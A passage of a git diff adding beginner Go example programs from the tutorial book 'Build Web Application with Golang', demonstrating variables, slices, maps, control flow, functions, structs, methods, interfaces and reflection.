+const ( + i = 1e4 + MaxThread = 10 + prefix = "astaxie_" +) + +var ( + frenchHello string // basic form to define string + emptyString string = "" // define a string with empty string +) + +func show_multiple_assignments() { + fmt.Println("show_multiple_assignments()") + var v1 int = 42 + + // Define three variables with type "int", and initialize their values. + // vname1 is v1, vname2 is v2, vname3 is v3 + var v2, v3 int = 2, 3 + + // `:=` only works in functions + // `:=` is the short way of declaring variables without + // specifying the type and using the keyboard `var`. + vname1, vname2, vname3 := v1, v2, v3 + + // `_` disregards the returned value. + _, b := 34, 35 + + fmt.Printf("vname1 = %v, vname2 = %v, vname3 = %v\n", vname1, vname2, vname3) + fmt.Printf("v1 = %v, v2 = %v, v3 = %v\n", v1, v2, v3) + fmt.Println("b =", b) +} +func show_bool() { + fmt.Println("show_bool()") + var available bool // local variable + valid := false // Shorthand assignment + available = true // assign value to variable + + fmt.Printf("valid = %v, !valid = %v\n", valid, !valid) + fmt.Printf("available = %v\n", available) +} +func show_different_types() { + fmt.Println("show_different_types()") + var ( + unicodeChar rune + a int8 + b int16 + c int32 + d int64 + e byte + f uint8 + g int16 + h uint32 + i uint64 + ) + var cmplx complex64 = 5 + 5i + + fmt.Println("Default values for int types") + fmt.Println(unicodeChar, a, b, c, d, e, f, g, h, i) + + fmt.Printf("Value is: %v\n", cmplx) +} +func show_strings() { + fmt.Println("show_strings()") + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiyou" + frenchHello = "Bonjour" // basic form of assign values + + fmt.Println("Random strings") + fmt.Println(frenchHello, japaneseHello, no, yes, maybe) + + // The backtick, `, will not escape any character in a string + fmt.Println(`This + is on + multiple lines`) +} +func show_string_manipulation() { + fmt.Println("show_string_manipulation()") + var s string = "hello" + + //You can't do this with strings + //s[0] = 'c' + + s = "hello" + c := []byte(s) // convert string to []byte type + c[0] = 'c' + s2 := string(c) // convert back to string type + + m := " world" + a := s + m + + d := "c" + s[1:] // you cannot change string values by index, but you can get values instead. + fmt.Printf("%s\n", d) + + fmt.Printf("s = %s, c = %v\n", s, c) + fmt.Printf("s2 = %s\n", s2) + fmt.Printf("combined strings\na = %s, d = %s\n", a, d) +} +func show_errors() { + fmt.Println("show_errors()") + err := errors.New("Example error message\n") + if err != nil { + fmt.Print(err) + } +} +func show_iota() { + fmt.Println("show_iota()") + const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after constants name, + // it uses the last expression, so here is saying w = iota implicitly. + // Therefore w == 3, and y and x both can omit "= iota" as well. + ) + + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. + ) + fmt.Printf("x = %v, y = %v, z = %v, w = %v\n", x, y, z, w) + fmt.Printf("v = %v\n", v) + fmt.Printf("e = %v, f = %v, g = %v\n", e, f, g) +} + +// Functions and variables starting with a capital letter are public to other packages. +// Everything else is private. +func This_is_public() {} +func this_is_private() {} + +func set_default_values() { + // default values for the types. + const ( + a int = 0 + b int8 = 0 + c int32 = 0 + d int64 = 0 + e uint = 0x0 + f rune = 0 // the actual type of rune is int32 + g byte = 0x0 // the actual type of byte is uint8 + h float32 = 0 // length is 4 byte + i float64 = 0 //length is 8 byte + j bool = false + k string = "" + ) +} +func show_arrays() { + fmt.Println("show_arrays()") + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + + a := [3]int{1, 2, 3} // define a int array with 3 elements + + b := [10]int{1, 2, 3} + // define a int array with 10 elements, + // and first three are assigned, rest of them use default value 0. + + c := [...]int{4, 5, 6} // use `…` replace with number of length, Go will calculate it for you. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // You can write about declaration in a shorter way. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + + fmt.Println("arr =", arr) + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) + //it returns default value of 10th element in this array, which is 0 in this case. + + fmt.Println("array a =", a) + fmt.Println("array b =", b) + fmt.Println("array c =", c) + + fmt.Println("array doubleArray =", doubleArray) + fmt.Println("array easyArray =", easyArray) +} +func show_slices() { + fmt.Println("show_slices()") + // define a slice with 10 elements which types are byte + var ar = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // a points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now a has elements ar[2]、ar[3] and ar[4] + + // b is another slice of array ar + b = ar[3:5] + // now b has elements ar[3] and ar[4] + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slcie could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + + fmt.Println("slice ar =", ar) + fmt.Println("slice a =", a) + fmt.Println("slice b =", b) + fmt.Println("array =", array) + fmt.Println("slice aSlice =", aSlice) + fmt.Println("slice bSlice =", bSlice) + fmt.Println("len(bSlice) =", len(bSlice)) +} +func show_map() { + fmt.Println("show_map()") + // use string as key type, int as value type, and you have to use `make` initialize it. + var numbers map[string]int + // another way to define map + numbers = make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + // Initialize a map + rating := map[string]float32{"C": 5, "Go": 4.5, "Python": 4.5, "C++": 2} + + fmt.Println("map numbers =", numbers) + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 + + // map has two return values. For second value, if the key doesn't exist,ok is false,true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + fmt.Printf("map rating = %#v\n", rating) +} +func main() { + show_multiple_assignments() + show_bool() + show_different_types() + show_strings() + show_string_manipulation() + show_errors() + show_iota() + set_default_values() + show_arrays() + show_slices() + show_map() +} diff --git a/th/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go b/th/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go new file mode 100644 index 000000000..b435f0386 --- /dev/null +++ b/th/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go @@ -0,0 +1,8 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Try to fix this program. +// From the console, type `go run main.go` +package main + +func main() { + var i int +} diff --git a/th/code/src/apps/ch.2.3/basic_functions/main.go b/th/code/src/apps/ch.2.3/basic_functions/main.go new file mode 100644 index 000000000..6f6a63f4c --- /dev/null +++ b/th/code/src/apps/ch.2.3/basic_functions/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Creating a basic function +package main + +import "fmt" + +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} diff --git a/th/code/src/apps/ch.2.3/hidden_print_methods/main.go b/th/code/src/apps/ch.2.3/hidden_print_methods/main.go new file mode 100644 index 000000000..0d3df05a3 --- /dev/null +++ b/th/code/src/apps/ch.2.3/hidden_print_methods/main.go @@ -0,0 +1,14 @@ +// As of Google go 1.1.2, `println()` and `print()` are hidden functions included from the runtime package. +// However it's encouraged to use the print functions from the `fmt` package. +package main + +import "fmt" + +func f() { + fmt.Println("First") + print("Second ") + println(" Third") +} +func main() { + f() +} diff --git a/th/code/src/apps/ch.2.3/import_packages/main.go b/th/code/src/apps/ch.2.3/import_packages/main.go new file mode 100644 index 000000000..c4d727560 --- /dev/null +++ b/th/code/src/apps/ch.2.3/import_packages/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows different ways of importing a package. +// Note: For the package `only_call_init`, we reference the path from the +// base directory of `$GOPATH/src`. The reason being Golang discourage +// the use of relative paths when import packages. +// BAD: "./only_call_init" +// GOOD: "apps/ch.2.3/import_packages/only_call_init" +package main + +import ( + // `_` will only call init() inside the package only_call_init + _ "apps/ch.2.3/import_packages/only_call_init" + f "fmt" // import the package as `f` + . "math" // makes the public methods and constants global + "mymath" // custom package located at $GOPATH/src/ + "os" // normal import of a standard package + "text/template" // the package takes the name of last folder path, `template` +) + +func main() { + f.Println("mymath.Sqrt(4) =", mymath.Sqrt(4)) + f.Println("E =", E) // references math.E + + t, _ := template.New("test").Parse("Pi^2 = {{.}}") + t.Execute(os.Stdout, Pow(Pi, 2)) +} diff --git a/th/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go b/th/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go new file mode 100644 index 000000000..789a6c79d --- /dev/null +++ b/th/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go @@ -0,0 +1,7 @@ +package only_call_init + +import "fmt" + +func init() { + fmt.Println("only_call_init.init() was called.") +} diff --git a/th/code/src/apps/ch.2.3/main.go b/th/code/src/apps/ch.2.3/main.go new file mode 100644 index 000000000..0b3ea566b --- /dev/null +++ b/th/code/src/apps/ch.2.3/main.go @@ -0,0 +1,142 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Goes over if, else, switch conditions, loops and defer. +package main + +import "fmt" + +func computedValue() int { + return 1 +} +func show_if() { + fmt.Println("\n#show_if()") + x := computedValue() + integer := 23 + + fmt.Println("x =", x) + fmt.Println("integer =", integer) + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } +} +func show_if_var() { + fmt.Println("\n#show_if_var()") + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile, since `x` is only accessible with the if/else block + // fmt.Println(x) +} +func show_goto() { + fmt.Println("\n#show_goto()") + // The call to the label switches the goroutine it seems. + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + if i < 10 { + goto Here // jump to label "Here" + } +} +func show_for_loop() { + fmt.Println("\n#show_for_loop()") + sum := 0 + for index := 0; index < 10; index++ { + sum += index + } + fmt.Println("part 1, sum is equal to ", sum) + + sum = 1 + // The compiler will remove the `;` from the line below. + // for ; sum < 1000 ; { + for sum < 1000 { + sum += sum + } + fmt.Println("part 2, sum is equal to ", sum) + + for index := 10; 0 < index; index-- { + if index == 5 { + break // or continue + } + fmt.Println(index) + } + +} +func show_loop_through_map() { + fmt.Println("\n#show_loop_through_map()") + m := map[string]int{ + "one": 1, + "two": 2, + "three": 3, + } + fmt.Println("map value = ", m) + for k, v := range m { + fmt.Println("map's key: ", k) + fmt.Println("map's value: ", v) + } +} +func show_switch() { + fmt.Println("\n#show_switch()") + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + + integer := 6 + fmt.Println("integer =", integer) + switch integer { + case 4: + fmt.Println("integer == 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } +} +func show_defer() { + fmt.Println("\nshow_defer()") + defer fmt.Println("(last defer)") + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } +} +func main() { + show_if() + show_if_var() + show_goto() + show_for_loop() + show_loop_through_map() + show_switch() + show_defer() +} diff --git a/th/code/src/apps/ch.2.3/panic_and_recover/main.go b/th/code/src/apps/ch.2.3/panic_and_recover/main.go new file mode 100644 index 000000000..883986687 --- /dev/null +++ b/th/code/src/apps/ch.2.3/panic_and_recover/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Showing how to use `panic()` and `recover()` +package main + +import ( + "fmt" + "os" +) + +var user = os.Getenv("USER") + +func check_user() { + if user == "" { + panic("no value for $USER") + } + fmt.Println("Environment Variable `USER` =", user) +} +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + fmt.Println("Panic message =", x); + b = true + } + }() + f() // if f causes panic, it will recover + return +} +func main(){ + didPanic := throwsPanic(check_user) + fmt.Println("didPanic =", didPanic) +} diff --git a/th/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go b/th/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go new file mode 100644 index 000000000..1c9e9c755 --- /dev/null +++ b/th/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows passing a variable by value and reference +package main + +import "fmt" + +func add_by_value(a int) int { + a = a + 1 + return a +} +func add_by_reference(a *int) int { + *a = *a + 1 + return *a +} +func show_add_by_value() { + x := 3 + fmt.Println("x = ", x) + fmt.Println("add_by_value(x) =", add_by_value(x) ) + fmt.Println("x = ", x) +} +func show_add_by_reference() { + x := 3 + fmt.Println("x = ", x) + // &x pass memory address of x + fmt.Println("add_by_reference(&x) =", add_by_reference(&x) ) + fmt.Println("x = ", x) +} +func main() { + show_add_by_value() + show_add_by_reference() +} diff --git a/th/code/src/apps/ch.2.3/type_function/main.go b/th/code/src/apps/ch.2.3/type_function/main.go new file mode 100644 index 000000000..6645d4fe1 --- /dev/null +++ b/th/code/src/apps/ch.2.3/type_function/main.go @@ -0,0 +1,44 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to define a function type +package main + +import "fmt" + +type testInt func(int) bool // define a function type of variable + +func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true +} + +func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false +} + +// pass the function `f` as an argument to another function + +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} +func init() { + fmt.Println("\n#init() was called.") +} +func main() { + slice := []int{1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) +} diff --git a/th/code/src/apps/ch.2.3/variadic_functions/main.go b/th/code/src/apps/ch.2.3/variadic_functions/main.go new file mode 100644 index 000000000..559222fe9 --- /dev/null +++ b/th/code/src/apps/ch.2.3/variadic_functions/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to return multiple values from a function +package main + +import "fmt" + +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} diff --git a/th/code/src/apps/ch.2.4/compare_age/main.go b/th/code/src/apps/ch.2.4/compare_age/main.go new file mode 100644 index 000000000..76772c56d --- /dev/null +++ b/th/code/src/apps/ch.2.4/compare_age/main.go @@ -0,0 +1,43 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows you how to pass and use structs. +package main + +import "fmt" + +// define a new type +type person struct { + name string + age int +} + +// compare age of two people, return the older person and differences of age +// struct is passed by value +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age: 25, name: "Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} diff --git a/th/code/src/apps/ch.2.4/embedded_structs/main.go b/th/code/src/apps/ch.2.4/embedded_structs/main.go new file mode 100644 index 000000000..342e51a5f --- /dev/null +++ b/th/code/src/apps/ch.2.4/embedded_structs/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Example of embedded fields +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // anonymous field, it means Student struct includes all fields that Human has. + speciality string +} + +func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlete any more") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} diff --git a/th/code/src/apps/ch.2.4/embedded_structs2/main.go b/th/code/src/apps/ch.2.4/embedded_structs2/main.go new file mode 100644 index 000000000..9f8e292d4 --- /dev/null +++ b/th/code/src/apps/ch.2.4/embedded_structs2/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Another example of embedded fields +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string +} + +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, speciality: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} diff --git a/th/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go b/th/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go new file mode 100644 index 000000000..61df16834 --- /dev/null +++ b/th/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows a name conflict with a embedded field +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human has phone field +} + +type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} diff --git a/th/code/src/apps/ch.2.4/main.go b/th/code/src/apps/ch.2.4/main.go new file mode 100644 index 000000000..f6d3a5782 --- /dev/null +++ b/th/code/src/apps/ch.2.4/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows different ways of creating a struct +package main + +import "fmt" + +func show_basic_struct() { + fmt.Println("\nshow_basic_struct()") + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the filed 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + + tom := person{"Tom", 25} + + bob := person{age: 24, name: "Bob"} + + fmt.Printf("tom = %+v\n", tom) + fmt.Printf("bob = %#v\n", bob) +} +func show_anonymous_struct() { + fmt.Println("\nshow_anonymous_struct()") + fmt.Printf("Anonymous struct = %#v\n", struct { + name string + count int + }{ + "counter", 1, + }) +} +func main() { + show_basic_struct() + show_anonymous_struct() +} diff --git a/th/code/src/apps/ch.2.5/attach_methods_to_struct/main.go b/th/code/src/apps/ch.2.5/attach_methods_to_struct/main.go new file mode 100644 index 000000000..cc025a61b --- /dev/null +++ b/th/code/src/apps/ch.2.5/attach_methods_to_struct/main.go @@ -0,0 +1,36 @@ +// Example code from Chapter 2.5 +// Attach method to struct. +package main + +import ( + "fmt" + "math" +) + +type Rectangle struct { + width, height float64 +} + +type Circle struct { + radius float64 +} + +func (r Rectangle) area() float64 { + return r.width * r.height +} + +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} diff --git a/th/code/src/apps/ch.2.5/box_example/main.go b/th/code/src/apps/ch.2.5/box_example/main.go new file mode 100644 index 000000000..c0386729f --- /dev/null +++ b/th/code/src/apps/ch.2.5/box_example/main.go @@ -0,0 +1,73 @@ +package main + +import "fmt" + +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Color byte + +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box //a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} diff --git a/th/code/src/apps/ch.2.5/embedded_method/main.go b/th/code/src/apps/ch.2.5/embedded_method/main.go new file mode 100644 index 000000000..ed32c73b5 --- /dev/null +++ b/th/code/src/apps/ch.2.5/embedded_method/main.go @@ -0,0 +1,31 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // anonymous field + school string +} + +type Employee struct { + Human + company string +} + +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/th/code/src/apps/ch.2.5/method_overload/main.go b/th/code/src/apps/ch.2.5/method_overload/main.go new file mode 100644 index 000000000..c9b2978c7 --- /dev/null +++ b/th/code/src/apps/ch.2.5/method_overload/main.go @@ -0,0 +1,36 @@ +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string +} + +type Employee struct { + Human + company string +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/th/code/src/apps/ch.2.5/pass_struct_to_method/main.go b/th/code/src/apps/ch.2.5/pass_struct_to_method/main.go new file mode 100644 index 000000000..4096d4bcd --- /dev/null +++ b/th/code/src/apps/ch.2.5/pass_struct_to_method/main.go @@ -0,0 +1,18 @@ +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width * r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} diff --git a/th/code/src/apps/ch.2.6/interface/main.go b/th/code/src/apps/ch.2.6/interface/main.go new file mode 100644 index 000000000..fc980389d --- /dev/null +++ b/th/code/src/apps/ch.2.6/interface/main.go @@ -0,0 +1,71 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } +} diff --git a/th/code/src/apps/ch.2.6/reflection/main.go b/th/code/src/apps/ch.2.6/reflection/main.go new file mode 100644 index 000000000..e0f50f7e9 --- /dev/null +++ b/th/code/src/apps/ch.2.6/reflection/main.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "reflect" +) + +func show_interface_none() { + fmt.Println("\nshow_interface_none()") + var a interface{} + a = "string" + a = 1 + a = false + fmt.Println("a =", a) +} +func show_reflection() { + fmt.Println("\nshow_reflection()") + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + + p := reflect.ValueOf(&x) + newX := p.Elem() + newX.SetFloat(7.1) + fmt.Println("newX =", newX) + fmt.Println("newX float64() value:", newX.Float()) +} +func main() { + show_interface_none() + show_reflection() +} diff --git a/th/code/src/apps/ch.2.6/stringer_interface/main.go b/th/code/src/apps/ch.2.6/stringer_interface/main.go new file mode 100644 index 000000000..310eb0eef --- /dev/null +++ b/th/code/src/apps/ch.2.6/stringer_interface/main.go @@ -0,0 +1,22 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human implemented fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} diff --git a/th/code/src/apps/ch.2.6/switch_type_check/main.go b/th/code/src/apps/ch.2.6/switch_type_check/main.go new file mode 100644 index 000000000..9d781675e --- /dev/null +++ b/th/code/src/apps/ch.2.6/switch_type_check/main.go @@ -0,0 +1,38 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] 